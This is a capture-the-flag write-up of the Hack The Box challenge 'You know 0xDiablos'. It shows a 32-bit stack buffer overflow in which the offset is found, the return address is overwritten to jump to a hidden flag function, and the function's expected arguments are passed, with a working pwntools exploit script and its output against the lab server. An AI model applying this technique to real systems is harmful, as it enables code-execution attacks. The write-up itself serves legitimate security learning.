HTB WRITEUP

Eurus

[PWN] You know 0xDiablos

Analysis

ANALYSIS

We have a vuln ELF file that can be run and we can insert as impot a big string and this file return with error SIGSEGV. This challenge is a pwn and is 20pt so shurely is a buffer overflow exploit.

with the metaslploit tool *"pattern_create.rb"* and the tool *"pattern_offset.rb"* i have create this pattern long 300 byte:

```
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
```

and given as input this pattern the program SIGSEGV with in the eip register the address **0x33674132**. with the tool *"pattern_offset.rb"* we can calculate the offset of the stack for overwrite the return address. **this offset is 188**.

And for confirm that if we pass as input of the vuln executable the result of this command:

```
python -c "print '\x55'*188+'\x66'*4"

: result:
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUffff
```

now when the executable SIGSEGV in the eip register there is the address **0x66666666** and so the 188 offset is correct.

Now dissassembling the ELF file we can see that is present a function named as flag but is never called.

And gdb is very gentle to indicate us the function address. And due to the fact that this ELF has no protection we can jump directly in that address.

```
gef  info functions
All defined functions:

Non-debugging symbols:
0x08049000  _init
0x08049030  printf@plt
0x08049040  gets@plt
0x08049050  fgets@plt
0x08049060  getegid@plt
0x08049070  puts@plt
0x08049080  exit@plt
0x08049090  __libc_start_main@plt
0x080490a0  setvbuf@plt
0x080490b0  fopen@plt
0x080490c0  setresgid@plt
0x080490d0  _start
0x08049110  _dl_relocate_static_pie
0x08049120  __x86.get_pc_thunk.bx
0x08049130  deregister_tm_clones
0x08049170  register_tm_clones
0x080491b0  __do_global_dtors_aux
0x080491e0  frame_dummy
0x080491e2  flag
0x08049272  vuln
0x080492b1  main
0x08049330  __libc_csu_init
0x08049390  __libc_csu_fini
0x08049391  __x86.get_pc_thunk.bp
0x08049398  _fini
```

when we overwrite the return address with te address of the flag function we have this result.

```
python -c "print '\x41'*188+'\xe2\x91\x04\x08'" | ./vuln
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hurry up and try in on server side.
```

now using pwntools i have recreated the same payload

```python
#!/usr/share/python3
from pwn import *

flag_addr = 0x080491e2
offset= b'\x41'*188
payload = offset + p32(flag_addr)

ex = remote('docker.instance.htb', 32259)
ex.sendline(payload)
ex.interactve()
```

But this time there are no flag and no message, investigating the function we can see that the function take two parameter as input.

```c
/* r2dec pseudo code output */
/* /home/kali/Downloads/vuln @ 0x80491e2 */
#include <stdint.h>

uint32_t flag (uint32_t arg_8h, uint32_t arg_ch) {
    char * format;
    file* stream;
    int32_t var_4h;
    _x86_get_pc_thunk_bx (ebx);
    ebx += 0x2e12;
    eax = fopen (ebx - 0x1ff6, ebx - 0x1ff8);
    stream = eax;
    if (stream == 0) {
        puts (ebx - 0x1fec);
        exit (0);
    }
    fgets (format, 0x40, stream);
    if (arg_8h == 0xdeadbeef) {
        if (arg_ch == 0xc0ded00d) {
            printf (format);
        } else {
        } else {
        }
    }
    ebx = var_4h;
    return eax;
}
```

so we ned pass to the flag function two parameter: **arg_8h must be 0xdeadbeef** and **arg_ch must be 0xc0ded00d** arg_8h is the first parameter and arg_ch the second.

```c
flag (uint32_t arg_8h, uint32_t arg_ch);
; var char *format @ ebp-0x4c
; var file*stream @ ebp-0xc
; var int32_t var_4h @ ebp-0x4
; arg uint32_t arg_8h @ ebp+0x8
; arg uint32_t arg_ch @ ebp+0xc
```

we can see that arg_8h is in ebp+0x8 and arg_ch in ebp+0xc

```python
#!/usr/share/python3
from pwn import *
```

```python
flag_addr = 0x080491e2
offset= b'\x41'*188
payload = offset + p32(flag_addr) + p32(0x00000000) + p32(0xdeadbeef) + p32(0xc0ded00d)

ex = remote('docker.instance.htb', 32259)
ex.sendline(payload)
ex.interactve()
```

```
┌──(kali㉿kali)-[~/Downloads]
└─$ ./flagsolver
[+] Opening connection to 167.71.143.20 on port 32259: Done
[*] Switching to interactive mode
You know who are 0×Diablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe2\x9
HTB{0ur_Buff3r_1s_not_healthy}[*] Got EOF while reading in interactive
$
```